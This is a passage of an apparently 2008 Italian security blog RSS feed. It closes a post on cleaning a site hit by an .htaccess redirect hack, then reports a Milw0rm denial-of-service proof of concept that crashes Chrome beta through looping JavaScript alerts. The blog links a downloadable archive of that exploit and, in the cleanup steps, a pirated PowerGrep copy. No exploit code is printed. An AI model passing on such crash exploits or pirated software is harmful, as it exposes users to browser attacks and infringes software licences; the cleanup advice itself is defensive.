<p>Potete trovare il dettaglio dei codici che vengono sfruttati nei seguenti link:</p>
<p><a href="http://www.whyron.com/http.htm" target="_blank">WhyRon 1</a></p>
<p><a href="http://www.embedded.ch/http2.htm" target="_blank">WhyRon 2</a></p>
<h1><strong>Come Rimuovere il Malware?</strong><br />
</h1>
<p>Attualmente, al fine di proteggersi e pulire il proprio sito è consigliabile effettuare le seguenti operazioni:</p>
<ol>
<li>Ricercare in tutti i file del proprio sito la stringa "<strong>a0b4df006e02184c60dbf503e71c87ad</strong>" ed eliminare il codice da tutte le pagine dove viene trovato. Eseguire la stessa ricerca cercando la stringa "<strong>aace99428c50dbe965acc93f3f275cd3</strong>" ed eliminare i file dove viene trovato. Il software <a href="http://www.powergrep.com/" target="_blank"><strong>PowerGrep</strong></a> (<a href="http://rapidshare.com/files/92492752/JGSoft.PowerGREP.v3.4.2-YAG.rar">Link Rapidshare</a>) in questo caso è molto utile.</li>
<li>Eliminare tutti i file e cartelle che si è sicuri non facciano riferimento al proprio sito. (Il file "t.htm" contenente la pagina malevola viene inserito all'interno di cartelle con nomi che apparentemente sembrano essere generati random)</li>
<li>Effettuare una scansione del proprio sito al fine di individuare la vulnerabilità che ha permesso tale intrusione. In questo caso consiglio di utilizzare uno degli Scanner disponibili on line come, ad esempio, <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank"><strong>Acunetix</strong></a>. </li>
<li>Effettuare un cambio dei dati o della sola password Ftp de Sito.</li>
</ol>
<p>Spero che tali informazioni siano state utili e vi informo che provvederò a mantenere aggiornato questo post man mano che scopro maggiori informazioni riguardo tale Hacking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[EXPLOIT] Google Chrome Browser &#8211; Milw0rm</title>
		<link>http://www.capn3m0.org/google-chrome-browser-exploit-milw0rm.html</link>
		<comments>http://www.capn3m0.org/google-chrome-browser-exploit-milw0rm.html#comments</comments>
		<pubDate>Thu, 25 Sep 2008 00:09:04 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Browser]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[milw0rm]]></category>
		<category><![CDATA[screenshot]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[security exploit]]></category>
		<category><![CDATA[taskmanager]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=58</guid>
		<description><![CDATA[Vi segnalo un&#8217;exploit che è stato pubblicato oggi sull&#8217;autorevole sito Milw0rm riguado il noto Browser Google Chrome che, tengo a precisare, è ancora in versione Beta. Tale Exploit è un DoS PoC (Proof Of Concept) che sfruttando la funzione &#8220;alert&#8221; del JavaScript opportunamente formattata consente di far aumentare il carico in memoria di Google Chrome [...]]]></description>
			<content:encoded><![CDATA[<p>Vi segnalo un&#8217;<a href="http://www.milw0rm.com/exploits/6554" target="_blank">exploit</a> che è stato pubblicato oggi sull&#8217;autorevole sito <a href="http://www.milw0rm.com/" target="_blank">Milw0rm</a> riguado il noto Browser <a href="http://www.google.com/chrome" target="_blank">Google Chrome</a> che, tengo a precisare, è ancora in versione Beta.</p>
<p>Tale Exploit è un <a href="http://it.wikipedia.org/wiki/Denial_of_service" target="_blank">DoS</a> <a href="http://it.wikipedia.org/wiki/Proof_of_concept" target="_blank">PoC (Proof Of Concept)</a> che sfruttando la funzione &#8220;alert&#8221; del JavaScript opportunamente formattata consente di far aumentare il carico in memoria di Google Chrome in pochi secondi causando un crash dell&#8217;applicativo. Ricorda come realizzazione quei JavaScript che venivano utilizzati forse 10 anni fa per far crashare i Browser (o in certi casi il Pc) generando un loop di apertura di PopUp.</p>
<p>Per chi volesse testarlo sulla propria pelle ecco l&#8217;Exploit versione Html e, successivamente, compresso con WinRar (non vorrei farvi crashare i PC  <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_smile.gif' alt="[EXPLOIT] Google Chrome Browser   Milw0rm" class='wp-smiley' title="[EXPLOIT] Google Chrome Browser   Milw0rm pics" />  ):</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2008/09/chrome-6554.rar">Exploit Google Chrome &#8211; Milw0rm 6554</a></p>
<p>Ed eccovi alcuni screenshot del TaskManager di Chrome durante le prove.</p>
<div id="attachment_60" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/09/3.jpg" rel="lightbox[58]" title="Google Chrome Normal Activity - TaskManager"><img class="size-medium wp-image-60" title="Google Chrome Normal Activity - TaskManager" src="http://www.capn3m0.org/wp-content/uploads/2008/09/3-300x192.jpg" alt="[EXPLOIT] Google Chrome Browser   Milw0rm" width="300" height="192" /></a><p class="wp-caption-text">Stato del TaskManager di Chrome appena avviato</p></div>
<p>Dopo 15 secondi la situazione era questa:</p>
<p><span id="more-58"></span></p>
<div id="attachment_61" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/09/5.jpg" rel="lightbox[58]" title="Google Chrome DoS dopo 15 sec - TaskManager"><img class="size-medium wp-image-61" title="Google Chrome DoS dopo 15 sec - TaskManager" src="http://www.capn3m0.org/wp-content/uploads/2008/09/5-300x192.jpg" alt="[EXPLOIT] Google Chrome Browser   Milw0rm" width="300" height="192" /></a><p class="wp-caption-text">Lo stato della memoria dal TaskManager di Google Chrome dopo circa 15 secondi dal caricamento dell&#39;Exploit</p></div>
<p>Aspettando qualche minuto la memoria Ram del proprio Pc sarà satura e Google Chrome andrà in errore<br class="spacer_" /></p>
<div id="attachment_62" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/09/6.jpg" rel="lightbox[58]" title="Google Chrome Crash"><img class="size-medium wp-image-62" title="Google Chrome Crash" src="http://www.capn3m0.org/wp-content/uploads/2008/09/6-300x207.jpg" alt="[EXPLOIT] Google Chrome Browser   Milw0rm" width="300" height="208" /></a><p class="wp-caption-text">Il risultato di poco più di un minuto di attività dell&#39;Exploit</p></div>
<p>L&#8217;unica cosa che mi permetto di osservare è che durante la navigazione, se si incappa in un sito contenente tale Exploit, potrebbe capitare di non accorgersi di quanto sta accadendo poiché, mentre Mozilla FireFox segnala e blocca l&#8217;apertura del Popup, in Google Chrome appare una barra in basso che, a mio avviso, non si nota particolarmente.</p>
<p>Rimango fiducioso verso gli Sviluppatori Google e come detto all&#8217;apertura di questo articolo tengo a sottolineare che stiamo parlando di una versione Beta. Penso che in occasione della primea Release Stabile questo genere di errori e falle saranno risolte a vantaggio di un nuovo concetto di Browser  <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_biggrin.gif' alt="[EXPLOIT] Google Chrome Browser   Milw0rm" class='wp-smiley' title="[EXPLOIT] Google Chrome Browser   Milw0rm pics" />  <br class="spacer_" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/google-chrome-browser-exploit-milw0rm.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.capn3m0.org @ 2012-02-08 20:39:34 by W3 Total Cache -->
